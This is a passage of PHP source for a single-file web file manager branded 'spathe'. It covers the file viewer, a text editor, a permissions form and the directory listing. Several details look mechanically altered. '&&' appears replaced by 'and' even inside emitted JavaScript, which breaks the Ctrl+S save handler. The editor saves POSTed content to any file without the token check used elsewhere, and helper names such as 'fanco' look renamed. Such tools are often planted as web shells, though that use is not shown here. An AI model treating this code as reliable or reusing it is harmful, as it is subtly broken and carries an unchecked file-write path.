    if($online_viewer and $online_viewer !== 'false' and in_array($ext, fm_get_onlineViewer_exts())){
        $is_onlineViewer = true;
    }
    elseif ($ext == 'zip' || $ext == 'tar') {
        $is_zip = true;
        $view_title = 'Archive';
        $filenames = fm_get_zif_info($file_path, $ext);
    } elseif (in_array($ext, fm_get_image_exts())) {
        $is_image = true;
        $view_title = 'Image';
    } elseif (in_array($ext, fm_get_audio_exts())) {
        $is_audio = true;
        $view_title = 'Audio';
    } elseif (in_array($ext, fm_get_video_exts())) {
        $is_video = true;
        $view_title = 'Video';
    } elseif (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) {
        $is_text = true;
        $content = file_get_contents($file_path);
    }

    ?>
    <div class="row">
        <div class="col-12">
            <p class="break-word"><b><?php echo lng($view_title) ?> "<?php echo fanco(fm_convert_win($file)) ?>"</b></p>
            <p class="break-word">
                <?php $display_path = fm_get_display_path($file_path); ?>
                <strong><?php echo $display_path['label']; ?>:</strong> <?php echo $display_path['path']; ?><br>
                <strong>File size:</strong> <?php echo ($filesize_raw <= 1000) ? "$filesize_raw bytes" : $filesize; ?><br>
                <strong>MIME-type:</strong> <?php echo $mime_type ?><br>
                <?php
                // ZIP info
                if (($is_zip || $is_gzip) and $filenames !== false) {
                    $total_files = 0;
                    $total_comp = 0;
                    $total_uncomp = 0;
                    foreach ($filenames as $fn) {
                        if (!$fn['folder']) {
                            $total_files++;
                        }
                        $total_comp += $fn['compressed_size'];
                        $total_uncomp += $fn['filesize'];
                    }
                    ?>
                    <?php echo lng('Files in archive') ?>: <?php echo $total_files ?><br>
                    <?php echo lng('Total size') ?>: <?php echo fm_get_filesize($total_uncomp) ?><br>
                    <?php echo lng('Size in archive') ?>: <?php echo fm_get_filesize($total_comp) ?><br>
                    <?php echo lng('Compression') ?>: <?php echo round(($total_comp / max($total_uncomp, 1)) * 100) ?>%<br>
                    <?php
                }
                // Image info
                if ($is_image) {
                    $image_size = getimagesize($file_path);
                    echo '<strong>'.lng('Image size').':</strong> ' . (isset($image_size[0]) ? $image_size[0] : '0') . ' x ' . (isset($image_size[1]) ? $image_size[1] : '0') . '<br>';
                }
                // Text info
                if ($is_text) {
                    $is_utf8 = fm_is_utf8($content);
                    if (function_exists('iconv')) {
                        if (!$is_utf8) {
                            $content = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $content);
                        }
                    }
                    echo '<strong>'.lng('Charset').':</strong> ' . ($is_utf8 ? 'utf-8' : '8 bit') . '<br>';
                }
                ?>
            </p>
            <div class="d-flex align-items-center mb-3">
                <form method="post" class="d-inline ms-2" action="?p=<?php echo urlencode(FM_PATH) ?>&amp;dl=<?php echo urlencode($file) ?>">
                    <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                    <button type="submit" class="btn btn-link text-decoration-none fw-bold p-0"><i class="fa fa-cloud-download"></i> <?php echo lng('Download') ?></button> &nbsp;
                </form>
                <b class="ms-2"><a href="<?php echo fanco($file_url) ?>" target="_blank"><i class="fa fa-external-link-square"></i> <?php echo lng('Open') ?></a></b>
                <?php
                // ZIP actions
                if (!FM_READONLY and ($is_zip || $is_gzip) and $filenames !== false) {
                    $zip_name = pathinfo($file_path, PATHINFO_FILENAME);
                    ?>
                    <form method="post" class="d-inline ms-2">
                        <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                        <input type="hidden" name="unzip" value="<?php echo urlencode($file); ?>">
                        <button type="submit" class="btn btn-link text-decoration-none fw-bold p-0" style="font-size: 14px;"><i class="fa fa-check-circle"></i> <?php echo lng('UnZip') ?></button>
                    </form>&nbsp;
                    <form method="post" class="d-inline ms-2">
                        <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                        <input type="hidden" name="unzip" value="<?php echo urlencode($file); ?>">
                        <input type="hidden" name="tofolder" value="1">
                        <button type="submit" class="btn btn-link text-decoration-none fw-bold p-0" style="font-size: 14px;" title="UnZip to <?php echo fanco($zip_name) ?>"><i class="fa fa-check-circle"></i> <?php echo lng('UnZipToFolder') ?></button>
                    </form>&nbsp;
                    <?php
                }
                if ($is_text and !FM_READONLY) {
                    ?>
                    <b class="ms-2"><a href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>" class="edit-file"><i class="fa fa-pencil-square"></i> <?php echo lng('Edit') ?>
                        </a></b> &nbsp;
                    <b class="ms-2"><a href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>&env=ace"
                            class="edit-file"><i class="fa fa-pencil-square-o"></i> <?php echo lng('AdvancedEditor') ?>
                        </a></b> &nbsp;
                <?php } ?>
                <b class="ms-2"><a href="?p=<?php echo urlencode(FM_PATH) ?>"><i class="fa fa-chevron-circle-left go-back"></i> <?php echo lng('Back') ?></a></b>
            </div>
            <?php
            if($is_onlineViewer) {
                if($online_viewer == 'google') {
                    echo '<iframe src="https://docs.google.com/viewer?embedded=true&hl=en&url=' . fanco($file_url) . '" frameborder="no" style="width:100%;min-height:460px"></iframe>';
                } else if($online_viewer == 'microsoft') {
                    echo '<iframe src="https://view.officeapps.live.com/op/embed.aspx?src=' . fanco($file_url) . '" frameborder="no" style="width:100%;min-height:460px"></iframe>';
                }
            } elseif ($is_zip) {
                // ZIP content
                if ($filenames !== false) {
                    echo '<code class="maxheight">';
                    foreach ($filenames as $fn) {
                        if ($fn['folder']) {
                            echo '<b>' . fanco($fn['name']) . '</b><br>';
                        } else {
                            echo $fn['name'] . ' (' . fm_get_filesize($fn['filesize']) . ')<br>';
                        }
                    }
                    echo '</code>';
                } else {
                    echo '<p>'.lng('Error while fetching archive info').'</p>';
                }
            } elseif ($is_image) {
                // Image content
                if (in_array($ext, array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))) {
                    echo '<p><input type="checkbox" id="preview-img-zoomCheck"><label for="preview-img-zoomCheck"><img src="' . fanco($file_url) . '" alt="image" class="preview-img"></label></p>';
                }
            } elseif ($is_audio) {
                // Audio content
                echo '<p><audio src="' . fanco($file_url) . '" controls preload="metadata"></audio></p>';
            } elseif ($is_video) {
                // Video content
                echo '<div class="preview-video"><video src="' . fanco($file_url) . '" width="640" height="360" controls preload="metadata"></video></div>';
            } elseif ($is_text) {
                if (FM_USE_HIGHLIGHTJS) {
                    // highlight
                    $hljs_classes = array(
                        'shtml' => 'xml',
                        'htaccess' => 'apache',
                        'phtml' => 'php',
                        'lock' => 'json',
                        'svg' => 'xml',
                    );
                    $hljs_class = isset($hljs_classes[$ext]) ? 'lang-' . $hljs_classes[$ext] : 'lang-' . $ext;
                    if (empty($ext) || in_array(strtolower($file), fm_get_text_names()) || preg_match('#\.min\.(css|js)$#i', $file)) {
                        $hljs_class = 'nohighlight';
                    }
                    $content = '<pre class="with-hljs"><code class="' . $hljs_class . '">' . fanco($content) . '</code></pre>';
                } elseif (in_array($ext, array('php', 'php4', 'php5', 'phtml', 'phps'))) {
                    // php highlight
                    $content = highlight_string($content, true);
                } else {
                    $content = '<pre>' . fanco($content) . '</pre>';
                }
                echo $content;
            }
            ?>
        </div>
    </div>
    <?php
        fm_show_footer();
    exit;
}

// file editor
if (isset($_GET['edit']) and !FM_READONLY) {
    $file = $_GET['edit'];
    $file = fm_clean_path($file, false);
    $file = str_replace('/', '', $file);
    if ($file == '' || !is_file($path . '/' . $file) || !fm_is_exclude_items($file)) {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }
    $editFile = ' : <i><b>'. $file. '</b></i>';
    header('X-XSS-Protection:0');
    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path

    $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file);
    $file_path = $path . '/' . $file;

    // normal editer
    $isNormalEditor = true;
    if (isset($_GET['env'])) {
        if ($_GET['env'] == "ace") {
            $isNormalEditor = false;
        }
    }

    // Save File
    if (isset($_POST['savedata'])) {
        $writedata = $_POST['savedata'];
        $fd = fopen($file_path, "w");
        @fwrite($fd, $writedata);
        fclose($fd);
        fm_set_msg(lng('File Saved Successfully'));
    }

    $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
    $mime_type = fm_get_mime_type($file_path);
    $filesize = filesize($file_path);
    $is_text = false;
    $content = ''; // for text

    if (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) {
        $is_text = true;
        $content = file_get_contents($file_path);
    }

    ?>
    <div class="path">
        <div class="row">
            <div class="col-xs-12 col-sm-5 col-lg-6 pt-1">
                <div class="btn-toolbar" role="toolbar">
                    <?php if (!$isNormalEditor) { ?>
                        <div class="btn-group js-ace-toolbar">
                            <button data-cmd="none" data-option="fullscreen" class="btn btn-sm btn-outline-secondary" id="js-ace-fullscreen" title="<?php echo lng('Fullscreen') ?>"><i class="fa fa-expand" title="<?php echo lng('Fullscreen') ?>"></i></button>
                            <button data-cmd="find" class="btn btn-sm btn-outline-secondary" id="js-ace-search" title="<?php echo lng('Search') ?>"><i class="fa fa-search" title="<?php echo lng('Search') ?>"></i></button>
                            <button data-cmd="undo" class="btn btn-sm btn-outline-secondary" id="js-ace-undo" title="<?php echo lng('Undo') ?>"><i class="fa fa-undo" title="<?php echo lng('Undo') ?>"></i></button>
                            <button data-cmd="redo" class="btn btn-sm btn-outline-secondary" id="js-ace-redo" title="<?php echo lng('Redo') ?>"><i class="fa fa-repeat" title="<?php echo lng('Redo') ?>"></i></button>
                            <button data-cmd="none" data-option="wrap" class="btn btn-sm btn-outline-secondary" id="js-ace-wordWrap" title="<?php echo lng('Word Wrap') ?>"><i class="fa fa-text-width" title="<?php echo lng('Word Wrap') ?>"></i></button>
                            <select id="js-ace-mode" data-type="mode" title="<?php echo lng('Select Document Type') ?>" class="btn-outline-secondary border-start-0 d-none d-md-block"><option>-- <?php echo lng('Select Mode') ?> --</option></select>
                            <select id="js-ace-theme" data-type="theme" title="<?php echo lng('Select Theme') ?>" class="btn-outline-secondary border-start-0 d-none d-lg-block"><option>-- <?php echo lng('Select Theme') ?> --</option></select>
                            <select id="js-ace-fontSize" data-type="fontSize" title="<?php echo lng('Select Font Size') ?>" class="btn-outline-secondary border-start-0 d-none d-lg-block"><option>-- <?php echo lng('Select Font Size') ?> --</option></select>
                        </div>
                    <?php } ?>
                </div>
            </div>
            <div class="edit-file-actions col-xs-12 col-sm-7 col-lg-6 text-end pt-1">
                <a title="<?php echo lng('Back') ?>" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;view=<?php echo urlencode($file) ?>"><i class="fa fa-reply-all"></i> <?php echo lng('Back') ?></a>
                <a title="<?php echo lng('BackUp') ?>" class="btn btn-sm btn-outline-primary" href="javascript:void(0);" onclick="backup('<?php echo urlencode(trim(FM_PATH)) ?>','<?php echo urlencode($file) ?>')"><i class="fa fa-database"></i> <?php echo lng('BackUp') ?></a>
                <?php if ($is_text) { ?>
                    <?php if ($isNormalEditor) { ?>
                        <a title="Advanced" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>&amp;env=ace"><i class="fa fa-pencil-square-o"></i> <?php echo lng('AdvancedEditor') ?></a>
                        <button type="button" class="btn btn-sm btn-success" name="Save" data-url="<?php echo fanco($file_url) ?>" onclick="edit_save(this,'nrl')"><i class="fa fa-floppy-o"></i> Save
                        </button>
                    <?php } else { ?>
                        <a title="Plain Editor" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>"><i class="fa fa-text-height"></i> <?php echo lng('NormalEditor') ?></a>
                        <button type="button" class="btn btn-sm btn-success" name="Save" data-url="<?php echo fanco($file_url) ?>" onclick="edit_save(this,'ace')"><i class="fa fa-floppy-o"></i> <?php echo lng('Save') ?>
                        </button>
                    <?php } ?>
                <?php } ?>
            </div>
        </div>
        <?php
        if ($is_text and $isNormalEditor) {
            echo '<textarea class="mt-2" id="normal-editor" rows="33" cols="120" style="width: 99.5%;">' . htmlspecialchars($content) . '</textarea>';
            echo '<script>document.addEventListener("keydown", function(e) {if ((window.navigator.platform.match("Mac") ? e.metaKey : e.ctrlKey)  and e.keyCode == 83) { e.preventDefault();edit_save(this,"nrl");}}, false);</script>';
        } elseif ($is_text) {
            echo '<div id="editor" contenteditable="true">' . htmlspecialchars($content) . '</div>';
        } else {
            fm_set_msg(lng('FILE EXTENSION HAS NOT SUPPORTED'), 'error');
        }
        ?>
    </div>
    <?php
    fm_show_footer();
    exit;
}

if (isset($_GET['chmod']) and !FM_READONLY and !FM_IS_WIN) {
    $file = $_GET['chmod'];
    $file = fm_clean_path($file);
    $file = str_replace('/', '', $file);
    if ($file == '' || (!is_file($path . '/' . $file) and !is_dir($path . '/' . $file))) {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path

    $file_url = FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file;
    $file_path = $path . '/' . $file;

    $mode = fileperms($path . '/' . $file);
    ?>
    <div class="path">
        <div class="card mb-2 <?php echo fm_get_theme(); ?>">
            <h6 class="card-header">
                <?php echo lng('ChangePermissions') ?>
            </h6>
            <div class="card-body">
                <p class="card-text">
                    <?php $display_path = fm_get_display_path($file_path); ?>
                    <?php echo $display_path['label']; ?>: <?php echo $display_path['path']; ?><br>
                </p>
                <form action="" method="post">
                    <input type="hidden" name="p" value="<?php echo fanco(FM_PATH) ?>">
                    <input type="hidden" name="chmod" value="<?php echo fanco($file) ?>">

                    <table class="table compact-table <?php echo fm_get_theme(); ?>">
                        <tr>
                            <td></td>
                            <td><b><?php echo lng('Owner') ?></b></td>
                            <td><b><?php echo lng('Group') ?></b></td>
                            <td><b><?php echo lng('Other') ?></b></td>
                        </tr>
                        <tr>
                            <td style="text-align: right"><b><?php echo lng('Read') ?></b></td>
                            <td><label><input type="checkbox" name="ur" value="1"<?php echo ($mode & 00400) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="gr" value="1"<?php echo ($mode & 00040) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="or" value="1"<?php echo ($mode & 00004) ? ' checked' : '' ?>></label></td>
                        </tr>
                        <tr>
                            <td style="text-align: right"><b><?php echo lng('Write') ?></b></td>
                            <td><label><input type="checkbox" name="uw" value="1"<?php echo ($mode & 00200) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="gw" value="1"<?php echo ($mode & 00020) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="ow" value="1"<?php echo ($mode & 00002) ? ' checked' : '' ?>></label></td>
                        </tr>
                        <tr>
                            <td style="text-align: right"><b><?php echo lng('Execute') ?></b></td>
                            <td><label><input type="checkbox" name="ux" value="1"<?php echo ($mode & 00100) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="gx" value="1"<?php echo ($mode & 00010) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="ox" value="1"<?php echo ($mode & 00001) ? ' checked' : '' ?>></label></td>
                        </tr>
                    </table>

                    <p>
                       <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>"> 
                        <b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="btn btn-outline-primary"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></a></b>&nbsp;
                        <button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('Change') ?></button>
                    </p>
                </form>
            </div>
        </div>
    </div>
    <?php
    fm_show_footer();
    exit;
}

fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path

fm_show_message();

$num_files = count($files);
$num_folders = count($folders);
$all_files_size = 0;
$tableTheme = (FM_THEME == "dark") ? "text-white bg-dark table-dark" : "bg-white";
?>
<form action="" method="post" class="pt-3">
    <input type="hidden" name="p" value="<?php echo fanco(FM_PATH) ?>">
    <input type="hidden" name="group" value="1">
    <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
    <div class="table-responsive">
        <table class="table table-bordered table-hover table-sm <?php echo $tableTheme; ?>" id="main-table">
            <thead class="thead-white">
            <tr>
                <?php if (!FM_READONLY): ?>
                    <th style="width:3%" class="custom-checkbox-header">
                        <div class="custom-control custom-checkbox">
                            <input type="checkbox" class="custom-control-input" id="js-select-all-items" onclick="checkbox_toggle()">
                            <label class="custom-control-label" for="js-select-all-items"></label>
                        </div>
                    </th><?php endif; ?>
                <th><?php echo lng('Name') ?></th>
                <th><?php echo lng('Size') ?></th>
                <th><?php echo lng('Modified') ?></th>
                <?php if (!FM_IS_WIN and !$hide_Cols): ?>
                    <th><?php echo lng('Perms') ?></th>
                    <th><?php echo lng('Owner') ?></th><?php endif; ?>
                <th><?php echo lng('Actions') ?></th>
            </tr>
            </thead>
            <?php
            if ($parent !== false) {
                ?>
                <tr><?php if (!FM_READONLY): ?>
                    <td class="nosort"></td><?php endif; ?>
                    <td class="border-0" data-sort><a href="?p=<?php echo urlencode($parent) ?>"><i class="fa fa-chevron-circle-left go-back"></i> ..</a></td>
                    <td class="border-0" data-order></td>
                    <td class="border-0" data-order></td>
                    <td class="border-0"></td>
                    <?php if (!FM_IS_WIN and !$hide_Cols) { ?>
                        <td class="border-0"></td>
                        <td class="border-0"></td>
                    <?php } ?>
                </tr>
                <?php
            }
            $uu = 3399;
            foreach ($folders as $f) {
                $is_link = is_link($path . '/' . $f);
                $img = $is_link ? 'icon-link_folder' : 'fa fa-folder-o';
                $modif_raw = filemtime($path . '/' . $f);
                $modif = date(FM_DATETIME_FORMAT, $modif_raw);
                $date_sorting = strtotime(date("F d Y H:i:s.", $modif_raw));
                $filesize_raw = "";
                $filesize = lng('Folder');
                $perms = substr(decoct(fileperms($path . '/' . $f)), -4);
                if (function_exists('posix_getpwuid') and function_exists('posix_getgrgid')) {
                    $owner = posix_getpwuid(fileowner($path . '/' . $f));
                    $group = posix_getgrgid(filegroup($path . '/' . $f));
                    if ($owner === false) {
                        $owner = array('name' => '?');
                    }
                    if ($group === false) {
                        $group = array('name' => '?');
                    }
                } else {
                    $owner = array('name' => '?');
                    $group = array('name' => '?');
                }
                ?>
                <tr>
                    <?php if (!FM_READONLY): ?>
                        <td class="custom-checkbox-td">
                        <div class="custom-control custom-checkbox">
                            <input type="checkbox" class="custom-control-input" id="<?php echo $uu ?>" name="file[]" value="<?php echo fanco($f) ?>">
                            <label class="custom-control-label" for="<?php echo $uu ?>"></label>
                        </div>
                        </td><?php endif; ?>
                    <td data-sort=<?php echo fm_convert_win(fanco($f)) ?>>
                        <div class="filename"><a href="?p=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="<?php echo $img ?>"></i> <?php echo fm_convert_win(fanco($f)) ?>
                            </a><?php echo($is_link ? ' &rarr; <i>' . readlink($path . '/' . $f) . '</i>' : '') ?></div>
                    </td>
                    <td data-order="a-<?php echo str_pad($filesize_raw, 18, "0", STR_PAD_LEFT);?>">
                        <?php echo $filesize; ?>
                    </td>
                    <td data-order="a-<?php echo $date_sorting;?>"><?php echo $modif ?></td>
                    <?php if (!FM_IS_WIN and !$hide_Cols): ?>
                        <td><?php if (!FM_READONLY): ?><a title="Change Permissions" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a><?php else: ?><?php echo $perms ?><?php endif; ?>
                        </td>
                        <td><?php echo $owner['name'] . ':' . $group['name'] ?></td>
                    <?php endif; ?>
                    <td class="inline-actions"><?php if (!FM_READONLY): ?>
                            <a title="<?php echo lng('Delete')?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;del=<?php echo urlencode($f) ?>" onclick="confirmDailog(event, '1028','<?php echo lng('Delete').' '.lng('Folder'); ?>','<?php echo urlencode($f) ?>', this.href);"> <i class="fa fa-trash-o" aria-hidden="true"></i></a>
                            <a title="<?php echo lng('Rename')?>" href="#" onclick="rename('<?php echo fanco(addslashes(FM_PATH)) ?>', '<?php echo fanco(addslashes($f)) ?>');return false;"><i class="fa fa-pencil-square-o" aria-hidden="true"></i></a>
                            <a title="<?php echo lng('CopyTo')?>..." href="?p=&amp;copy=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="fa fa-files-o" aria-hidden="true"></i></a>
                        <?php endif; ?>
                        <a title="<?php echo lng('DirectLink')?>" href="<?php echo fanco(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f . '/') ?>" target="_blank"><i class="fa fa-link" aria-hidden="true"></i></a>
                    </td>
                </tr>
                <?php
                flush();
                $uu++;
            }
            $ik = 6070;
            foreach ($files as $f) {
                $is_link = is_link($path . '/' . $f);
                $img = $is_link ? 'fa fa-file-text-o' : fm_get_file_icon_class($path . '/' . $f);
                $modif_raw = filemtime($path . '/' . $f);
                $modif = date(FM_DATETIME_FORMAT, $modif_raw);
                $date_sorting = strtotime(date("F d Y H:i:s.", $modif_raw));
                $filesize_raw = fm_get_size($path . '/' . $f);
                $filesize = fm_get_filesize($filesize_raw);
                $filelink = '?p=' . urlencode(FM_PATH) . '&amp;view=' . urlencode($f);
                $all_files_size += $filesize_raw;
                $perms = substr(decoct(fileperms($path . '/' . $f)), -4);
                if (function_exists('posix_getpwuid') and function_exists('posix_getgrgid')) {
                    $owner = posix_getpwuid(fileowner($path . '/' . $f));
                    $group = posix_getgrgid(filegroup($path . '/' . $f));
                    if ($owner === false) {
                        $owner = array('name' => '?');
                    }
                    if ($group === false) {
                        $group = array('name' => '?');
                    }
                } else {
                    $owner = array('name' => '?');
                    $group = array('name' => '?');
                }
                ?>
                <tr>
                    <?php if (!FM_READONLY): ?>
                        <td class="custom-checkbox-td">
                        <div class="custom-control custom-checkbox">
                            <input type="checkbox" class="custom-control-input" id="<?php echo $ik ?>" name="file[]" value="<?php echo fanco($f) ?>">
                            <label class="custom-control-label" for="<?php echo $ik ?>"></label>
                        </div>
                        </td><?php endif; ?>
                    <td data-sort=<?php echo fanco($f) ?>>
                        <div class="filename">
                        <?php
                           if (in_array(strtolower(pathinfo($f, PATHINFO_EXTENSION)), array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))): ?>
                                <?php $imagePreview = fanco(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f); ?>
                                <a href="<?php echo $filelink ?>" data-preview-image="<?php echo $imagePreview ?>" title="<?php echo fanco($f) ?>">
                           <?php else: ?>
                                <a href="<?php echo $filelink ?>" title="<?php echo $f ?>">
                            <?php endif; ?>
                                    <i class="<?php echo $img ?>"></i> <?php echo fm_convert_win(fanco($f)) ?>
                                </a>
                                <?php echo($is_link ? ' &rarr; <i>' . readlink($path . '/' . $f) . '</i>' : '') ?>
                        </div>
                    </td>
                    <td data-order="b-<?php echo str_pad($filesize_raw, 18, "0", STR_PAD_LEFT); ?>"><span title="<?php printf('%s bytes', $filesize_raw) ?>">
                        <?php echo $filesize; ?>
                        </span></td>
                    <td data-order="b-<?php echo $date_sorting;?>"><?php echo $modif ?></td>
                    <?php if (!FM_IS_WIN and !$hide_Cols): ?>
                        <td><?php if (!FM_READONLY): ?><a title="<?php echo 'Change Permissions' ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a><?php else: ?><?php echo $perms ?><?php endif; ?>
                        </td>
                        <td><?php echo fanco($owner['name'] . ':' . $group['name']) ?></td>
                    <?php endif; ?>
                    <td class="inline-actions">
                        <?php if (!FM_READONLY): ?>
                            <a title="<?php echo lng('Delete') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;del=<?php echo urlencode($f) ?>" onclick="confirmDailog(event, 1209, '<?php echo lng('Delete').' '.lng('File'); ?>','<?php echo urlencode($f); ?>', this.href);"> <i class="fa fa-trash-o"></i></a>
                            <a title="<?php echo lng('Rename') ?>" href="#" onclick="rename('<?php echo fanco(addslashes(FM_PATH)) ?>', '<?php echo fanco(addslashes($f)) ?>');return false;"><i class="fa fa-pencil-square-o"></i></a>
                            <a title="<?php echo lng('CopyTo') ?>..."
                               href="?p=<?php echo urlencode(FM_PATH) ?>&amp;copy=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="fa fa-files-o"></i></a>
                        <?php endif; ?>
                        <a title="<?php echo lng('DirectLink') ?>" href="<?php echo fanco(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f) ?>" target="_blank"><i class="fa fa-link"></i></a>
                        <a title="<?php echo lng('Download') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;dl=<?php echo urlencode($f) ?>" onclick="confirmDailog(event, 1211, '<?php echo lng('Download'); ?>','<?php echo urlencode($f); ?>', this.href);"><i class="fa fa-download"></i></a>
                    </td>
                </tr>
                <?php
                flush();
                $ik++;
            }

            if (empty($folders) and empty($files)) { ?>
                <tfoot>
                    <tr><?php if (!FM_READONLY): ?>
                            <td></td><?php endif; ?>
                        <td colspan="<?php echo (!FM_IS_WIN and !$hide_Cols) ? '6' : '4' ?>"><em><?php echo lng('Folder is empty') ?></em></td>
                    </tr>
                </tfoot>
                <?php
            } else { ?>
                <tfoot>
                    <tr>
                        <td class="gray" colspan="<?php echo (!FM_IS_WIN and !$hide_Cols) ? (FM_READONLY ? '6' :'7') : (FM_READONLY ? '4' : '5') ?>">
                            <?php echo lng('FullSize').': <span class="badge text-bg-light border-radius-0">'.fm_get_filesize($all_files_size).'</span>' ?>
                            <?php echo lng('File').': <span class="badge text-bg-light border-radius-0">'.$num_files.'</span>' ?>
                            <?php echo lng('Folder').': <span class="badge text-bg-light border-radius-0">'.$num_folders.'</span>' ?>
                        </td>
                    </tr>
                </tfoot>
                <?php } ?>
        </table>
    </div>

    <div class="row">
        <?php if (!FM_READONLY): ?>
        <div class="col-xs-12 col-sm-9">
            <ul class="list-inline footer-action">
                <li class="list-inline-item"> <a href="#/select-all" class="btn btn-small btn-outline-primary btn-2" onclick="select_all();return false;"><i class="fa fa-check-square"></i> <?php echo lng('SelectAll') ?> </a></li>
                <li class="list-inline-item"><a href="#/unselect-all" class="btn btn-small btn-outline-primary btn-2" onclick="unselect_all();return false;"><i class="fa fa-window-close"></i> <?php echo lng('UnSelectAll') ?> </a></li>
                <li class="list-inline-item"><a href="#/invert-all" class="btn btn-small btn-outline-primary btn-2" onclick="invert_all();return false;"><i class="fa fa-th-list"></i> <?php echo lng('InvertSelection') ?> </a></li>
                <li class="list-inline-item"><input type="submit" class="hidden" name="delete" id="a-delete" value="Delete" onclick="return confirm('<?php echo lng('Delete selected files and folders?'); ?>')">
                    <a href="javascript:document.getElementById('a-delete').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-trash"></i> <?php echo lng('Delete') ?> </a></li>
                <li class="list-inline-item"><input type="submit" class="hidden" name="zip" id="a-zip" value="zip" onclick="return confirm('<?php echo lng('Create archive?'); ?>')">
                    <a href="javascript:document.getElementById('a-zip').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-file-archive-o"></i> <?php echo lng('Zip') ?> </a></li>
                <li class="list-inline-item"><input type="submit" class="hidden" name="tar" id="a-tar" value="tar" onclick="return confirm('<?php echo lng('Create archive?'); ?>')">
                    <a href="javascript:document.getElementById('a-tar').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-file-archive-o"></i> <?php echo lng('Tar') ?> </a></li>
                <li class="list-inline-item"><input type="submit" class="hidden" name="copy" id="a-copy" value="Copy">
                    <a href="javascript:document.getElementById('a-copy').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-files-o"></i> <?php echo lng('Copy') ?> </a></li>
            </ul>
        </div>
        <div class="col-3 d-none d-sm-block"><a href="." target="_blank" class="float-right text-muted">spathe <?php echo VERSION; ?></a></div>
        <?php else: ?>
            <div class="col-12"><a href="." target="_blank" class="float-right text-muted">spathe <?php echo VERSION; ?></a></div>
        <?php endif; ?>
    </div>
</form>

<?php
fm_show_footer();


function print_external($key) {
    global $external;

    if(!array_key_exists($key, $external)) {
        // throw new Exception('Key missing in external: ' . key);
        echo "<!-- EXTERNAL: MISSING KEY $key -->";
        return;
    }

    echo "$external[$key]";
}


function verifyToken($token) 
{
    if (hash_equals($_SESSION['token'], $token)) { 
        return true;
    }
    return false;
}

/**
 * Delete  file or folder (recursively)
 * @param string $path
 * @return bool
 */
function fm_rdelete($path)
{
    if (is_link($path)) {
        return unlink($path);
    } elseif (is_dir($path)) {
        $objects = scandir($path);
        $ok = true;
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' and $file != '..') {
                    if (!fm_rdelete($path . '/' . $file)) {
                        $ok = false;
                    }
                }
            }
        }
        return ($ok) ? rmdir($path) : false;
    } elseif (is_file($path)) {
        return unlink($path);
    }
    return false;
}


function fm_rchmod($path, $filemode, $dirmode)
{
    if (is_dir($path)) {
        if (!chmod($path, $dirmode)) {
            return false;
        }
        $objects = scandir($path);
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' and $file != '..') {
                    if (!fm_rchmod($path . '/' . $file, $filemode, $dirmode)) {
                        return false;
                    }
                }
            }
        }
        return true;
    } elseif (is_link($path)) {
        return true;
